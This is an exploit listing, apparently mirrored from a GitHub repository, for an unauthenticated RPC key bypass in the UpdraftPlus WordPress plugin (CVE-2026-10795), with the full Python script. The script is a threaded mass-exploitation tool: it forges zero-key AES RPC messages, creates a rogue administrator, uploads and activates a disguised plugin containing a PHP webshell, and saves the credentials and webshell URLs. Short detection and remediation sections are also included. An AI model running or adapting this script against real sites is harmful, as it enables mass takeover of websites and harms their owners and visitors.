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Critical CVE-2026-10795 unpatched

UpdraftPlus WordPress Plugin — Unauthenticated RPC Key Bypass to Admin Creation & RCE (CVE-2026-10795)

by webshellseo8 (Telegram: @WebshellSR, contacts @Devco1 & @BIBIL0DAY) · 2026-07-05

Severity
Critical
CVE
CVE-2026-10795
Category
web
Affected product
UpdraftPlus (WordPress backup plugin) — UpdraftCentral remote RPC feature
Affected versions
Versions with UpdraftCentral RPC enabled and a default/unconfigured encryption key
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherwebshellseo8 (Telegram: @WebshellSR, contacts @Devco1 & @BIBIL0DAY)
CVE / AdvisoryCVE-2026-10795
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagswordpress, plugin, updraftplus, rpc, unauthenticated, admin-takeover, plugin-upload, rce, mass-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemUpdraftPlus (WordPress backup plugin) — UpdraftCentral remote RPC feature
Versions AffectedVersions with UpdraftCentral RPC enabled and a default/unconfigured encryption key
Language / PlatformPHP / WordPress admin-ajax.php RPC handler, PoC written in Python 3 (requests, pycryptodome)
Authentication RequiredNo
Network Access RequiredYes

Summary

UpdraftPlus ships a remote-management RPC channel (UpdraftCentral) reachable via admin-ajax.php that authenticates requests using an AES-encrypted message keyed to one of several well-known “key_name” identifiers (e.g. migrator.updraftplus.com). When a site has never explicitly configured its own UpdraftCentral key, the plugin falls back to an all-zero AES key/IV, which is public knowledge and lets any remote party forge valid signed RPC messages. The PoC builds these zero-key-encrypted RPC messages to invoke privileged commands: users.add_user to create a new WordPress administrator, and plugin.upload_plugin / plugin.activate_plugin to upload and activate a malicious “plugin” zip containing a PHP webshell, achieving unauthenticated remote code execution.


Vulnerability Details

Root Cause

UpdraftPlus’s RPC message envelope is only integrity/authenticity-protected by AES-CBC encryption keyed by a per-site secret; sites that have not rotated this secret away from its default state effectively use a constant, publicly known zero key (\x00×16) and IV, allowing any remote attacker to construct arbitrary, “authenticated” RPC command messages without credentials.

Attack Vector

  1. Probe the target’s admin-ajax.php with an RPC message encrypted under each of several known key names; a response containing udrpc_message and signature confirms the target is reachable and using a guessable key.
  2. Send an RPC users.add_user command with attacker-supplied username/password and role: administrator to create a new privileged WordPress account.
  3. Send an RPC plugin.upload_plugin command with a base64-encoded ZIP containing a PHP file that acts as a simple file-upload webshell, disguised as an innocuous plugin.
  4. Send an RPC plugin.activate_plugin command to activate the uploaded plugin, exposing the embedded webshell at a predictable wp-content/plugins/<name>/<name>.php URL for unauthenticated code/file upload.

Impact

Full unauthenticated compromise of the WordPress site: creation of a persistent administrator account plus a webshell providing arbitrary file upload/remote code execution on the underlying server.


Environment / Lab Setup

Target:   WordPress site running UpdraftPlus with UpdraftCentral RPC reachable and a default/zero encryption key
Attacker: Python 3, `pip install requests colorama pycryptodome`

Proof of Concept

PoC Script

See CVE-2026-10795-mass.py in this folder.

1
python3 CVE-2026-10795-mass.py targets.txt

For each target URL in the input file, the script tries known UpdraftCentral key names against the RPC endpoint, and on success creates a rogue administrator account, uploads a disguised plugin ZIP containing a PHP webshell, and activates it. Discovered admin credentials and reachable webshell/uploader URLs are written to admins.txt and uploaders.txt respectively.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

udrpc_message=<hex-length><fake_key><hex-length><AES-CBC ciphertext>&format=1&key_name=migrator.updraftplus.com

Signs of compromise:

  • New administrator accounts with unfamiliar usernames/emails (e.g. matching an unexpected @security.local-style domain) with no corresponding admin action.
  • Unrecognized plugins in wp-content/plugins/ with randomly generated adjective-noun-number names (e.g. cache-engine-482) containing a single PHP file with an upload form.
  • Repeated admin-ajax.php POST requests carrying a long udrpc_message parameter from unauthenticated sources.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; ensure UpdraftCentral is configured with a unique, non-default encryption key or disabled entirely if unused
Interim mitigationDisable/remove UpdraftCentral remote RPC connectivity if not in active use; block unauthenticated POSTs to admin-ajax.php with udrpc_message at the WAF layer; audit for unexpected admin accounts and unrecognized plugins

References


Notes

Mirrored from https://github.com/webshellseo8/CVE-2026-10795-POC on 2026-07-05.

CVE-2026-10795-mass.py
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#!/usr/bin/env python3
"""
CVE-2026-10795 UpdraftPlus Auto-Exploit & Mass Scanner
Usage: python3 exploit.py targets.txt
Output: admins.txt, uploaders.txt
Telegram: https://t.me/WebshellSR
Contact : @Devco1 & @BIBIL0DAY
"""

import argparse
import base64
import io
import json
import os
import random
import string
import sys
import time
import urllib3
import zipfile
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from urllib.parse import urljoin
import colorama
colorama.init()
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ─── Verified crypto ─────────────────────────────────────────────
ZERO_KEY = b'\x00' * 16
ZERO_IV = b'\x00' * 16
DEFAULT_THREADS = 30
DEFAULT_TIMEOUT = 15

# ─── Key names to try ────────────────────────────────────────────
KEY_NAMES = [
    "0.central.updraftplus.com",
    "1.central.updraftplus.com",
    "2.central.updraftplus.com",
    "migrator.updraftplus.com",
]

# ─── Admin settings ──────────────────────────────────────────────
ADMIN_USER = "WebshellRS"
ADMIN_EMAIL_DOMAIN = "security.local"

# ─── Telegram ────────────────────────────────────────────────────
TELEGRAM = "https://t.me/WebshellSR"

# ─── Random plugin name generator ────────────────────────────────
PLUGIN_ADJECTIVES = ["cache","seo","security","optimizer","backup","helper","analytics","optimizer","social","maintenance","utility","enhancer","performance","indexer","search","widget","toolbar","blocker","guard","protector"]
PLUGIN_NOUNS = ["engine","toolkit","suite","framework","manager","controller","handler","processor","booster","scanner","monitor","connector","integrator","solution","driver","module","component","service","worker","daemon"]

def random_plugin_name():
    adj = random.choice(PLUGIN_ADJECTIVES)
    noun = random.choice(PLUGIN_NOUNS)
    num = random.randint(100, 999)
    return f"{adj}-{noun}-{num}"

def build_plugin_zip(plugin_name):
    php_file = plugin_name + '.php'
    php_code = f'''<?php
/*
Plugin Name: {plugin_name.replace('-', ' ').title()}
Description: WordPress {plugin_name.replace('-', ' ').title()}
Version: 1.{random.randint(0,9)}.{random.randint(0,9)}
Author: WP Core
*/
echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){{if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){{echo 'OK';}}else{{echo 'ER';}}}}?>
'''
    z = io.BytesIO()
    with zipfile.ZipFile(z, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(f'{plugin_name}/{php_file}', php_code)
    return base64.b64encode(z.getvalue()).decode()

# ─── Colors ──────────────────────────────────────────────────────
class C:
    G = '\033[92m'; R = '\033[91m'; Y = '\033[93m'; C = '\033[96m'; B = '\033[1m'; E = '\033[0m'
def s(m): print(f"{C.G}[+]{C.E} {m}")
def e(m): print(f"{C.R}[-]{C.E} {m}", file=sys.stderr)
def i(m): print(f"{C.C}[*]{C.E} {m}")
def w(m): print(f"{C.Y}[!]{C.E} {m}")
def v(m): print(f"{C.G}{C.B}[VULN]{C.E} {m}")
def adm(m): print(f"{C.G}{C.B}[ADMIN]{C.E} {m}")

def up(m): print(f"{C.G}{C.B}[UPLOADER]{C.E} {m}")

# ─── Instant save ────────────────────────────────────────────────
def save(file, line):
    with open(file, 'a', encoding='utf-8') as fh:
        fh.write(line + '\n')
        fh.flush()
        os.fsync(fh.fileno())

# ─── Crypto ──────────────────────────────────────────────────────
def encrypt_payload(payload):
    pt = json.dumps(payload, separators=(',', ':')).encode()
    return base64.b64encode(AES.new(ZERO_KEY, AES.MODE_CBC, ZERO_IV).encrypt(pad(pt, AES.block_size))).decode()

def build_message(cmd, key_name, params=None):
    fake_key = base64.b64encode(b'\x41' * 128).decode()
    sk_len = format(len(fake_key), '03x')
    payload = {"command": cmd, "time": int(time.time()), "key_name": key_name}
    if params: payload["data"] = params
    payload["rand"] = ''.join(random.choices(string.hexdigits, k=6))
    enc = encrypt_payload(payload)
    cl_len = format(len(enc), '016x')
    return sk_len + fake_key + cl_len + enc

def send_rpc(target, cmd, key_name, params=None, timeout=DEFAULT_TIMEOUT):
    target = target.strip()
    if not target.startswith(('http://', 'https://')): target = 'http://' + target
    if not target.endswith('/'): target += '/'
    msg = build_message(cmd, key_name, params)
    post = {"udrpc_message": msg, "format": "1", "key_name": key_name}
    for url in [urljoin(target, 'wp-admin/admin-ajax.php'), target]:
        try:
            r = requests.post(url, data=post, timeout=timeout, verify=False,
                headers={'User-Agent': 'Mozilla/5.0'})
            if r.status_code == 200: return True, r.text, url
        except: continue
    return False, "", ""

# ─── Vuln check ──────────────────────────────────────────────────
def is_vuln(text):
    if not text: return False
    text = text.strip()
    if text in ('0', '-1', ''): return False
    try:
        d = json.loads(text)
        return isinstance(d, dict) and 'udrpc_message' in d and 'signature' in d
    except: return False

# ─── Create admin ────────────────────────────────────────────────
def create_admin(target, key_name):
    pw = ''.join(random.choices(string.ascii_letters + string.digits + '!@#$%', k=16))
    params = {
        "user_login": ADMIN_USER,
        "user_email": f"{ADMIN_USER.lower()}@{ADMIN_EMAIL_DOMAIN}",
        "user_pass": pw,
        "role": "administrator",
        "first_name": "System",
        "last_name": "Admin"
    }
    ok, text, url = send_rpc(target, "users.add_user", key_name, params)
    if ok and is_vuln(text): return True, pw
    return False, None

# ─── Upload uploader plugin ──────────────────────────────────
def upload_plugin(target, key_name, plugin_name):
    params = {
        "filename": f"{plugin_name}.zip",
        "data": build_plugin_zip(plugin_name),
        "chunks": 1,
        "chunk": 0
    }
    ok, text, url = send_rpc(target, "plugin.upload_plugin", key_name, params)
    return ok and is_vuln(text)

# ─── Activate plugin ─────────────────────────────────────────────
def activate_plugin(target, key_name, plugin_name):
    params = {"plugin": f"{plugin_name}/{plugin_name}.php"}
    ok, text, url = send_rpc(target, "plugin.activate_plugin", key_name, params)
    return ok and is_vuln(text)

# ─── Main exploit chain ──────────────────────────────────────────
def exploit_target(target):
    target = target.strip()
    if not target or target.startswith('#'): return

    # Try each key name
    found_key = None
    for key_name in KEY_NAMES:
        ok, text, url = send_rpc(target, "plugin.load_plugins", key_name)
        if ok and is_vuln(text):
            found_key = key_name
            v(f"{target}")
            s(f"  Endpoint: {url}")
            s(f"  Key: {key_name}")
            break

    if not found_key:
        return

    # Generate unique plugin name for this target
    plugin_name = random_plugin_name()
    php_file = plugin_name + '.php'

    target_url = target
    if not target_url.startswith(('http://', 'https://')): target_url = 'http://' + target_url
    target_url = target_url.rstrip('/')
    base = f"{target_url}/wp-content/plugins/{plugin_name}/"

    i(f"  Plugin name: {plugin_name}")

    # 1. Create admin
    i(f"  Creating admin '{ADMIN_USER}'...")
    adm_ok, pw = create_admin(target, found_key)
    if adm_ok and pw:
        adm(f"  {target_url}/wp-login.php#{ADMIN_USER}@{pw}")
        save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@{pw}")
    else:
        w(f"  Admin creation returned encrypted response (may have succeeded)")
        save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@UNKNOWN_CHECK_MANUALLY")

    # 2. Upload uploader plugin
    i(f"  Uploading {plugin_name}.zip...")
    if upload_plugin(target, found_key, plugin_name):
        up(f"  Plugin uploaded")

        # 3. Activate
        i(f"  Activating {plugin_name}...")
        if activate_plugin(target, found_key, plugin_name):
            up_url = base + php_file
            up(f"  Uploader: {up_url}")
            save("uploaders.txt", up_url)
        else:
            w(f"  Activation failed - try manual")
            save("uploaders.txt", base + php_file + ' (MANUAL_ACTIVATE)')
    else:
        w(f"  Upload failed")

    print()

# ─── Load targets ────────────────────────────────────────────────
def load_targets(path):
    targets = []
    with open(path, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if line and not line.startswith('#'):
                targets.append(line)
    return targets

# ─── Main ────────────────────────────────────────────────────────
def main():
    parser = argparse.ArgumentParser(description='CVE-2026-10795 Auto-Exploit | Telegram: @WebshellSR')
    parser.add_argument('targets', help='Target list file')
    parser.add_argument('-T', '--threads', type=int, default=DEFAULT_THREADS)
    parser.add_argument('-t', '--timeout', type=int, default=DEFAULT_TIMEOUT)
    args = parser.parse_args()

    if not os.path.isfile(args.targets):
        e(f"File not found: {args.targets}")
        sys.exit(1)

    targets = load_targets(args.targets)
    if not targets:
        e("No targets loaded")
        sys.exit(1)

    # Init output files
    ts = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    for f in ['admins.txt', 'uploaders.txt']:
        if not os.path.exists(f):
            with open(f, 'w') as fh: fh.write(f"# Webshell Security Researcher | {TELEGRAM}\n# Started: {ts}\n")

    print(f"""
{C.C}{C.B}╔══════════════════════════════════════════════════════════╗
║  CVE-2026-10795 Auto-Exploit & Mass Scanner             ║
║  UpdraftPlus <= 1.26.4 - Auth Bypass -> RCE            ║
║  Telegram: {TELEGRAM:<30}╚══════════════════════════════════════════════════════════╝{C.E}
""")
    i(f"Targets: {len(targets)} | Threads: {args.threads}")
    i(f"Admin: {ADMIN_USER} | Output: admins.txt, uploaders.txt")
    i(f"Started: {ts}")
    print()

    scanned = 0
    lock = __import__('threading').Lock()

    def worker(t):
        nonlocal scanned
        try:
            exploit_target(t)
            with lock:
                scanned += 1
                if scanned % 10 == 0 or scanned == len(targets):
                    i(f"Progress: {scanned}/{len(targets)}")
        except Exception as ex:
            with lock:
                scanned += 1
            e(f"[{t}] {ex}")

    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        list(ex.map(worker, targets))

    print()
    print("=" * 55)
    s(f"Done! Scanned: {scanned}/{len(targets)}")
    s(f"admins.txt    - Admin credentials")
    s(f"uploaders.txt  - Uploader URLs")
    s(f"Telegram: {TELEGRAM}")
    print("=" * 55)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        sys.exit(130)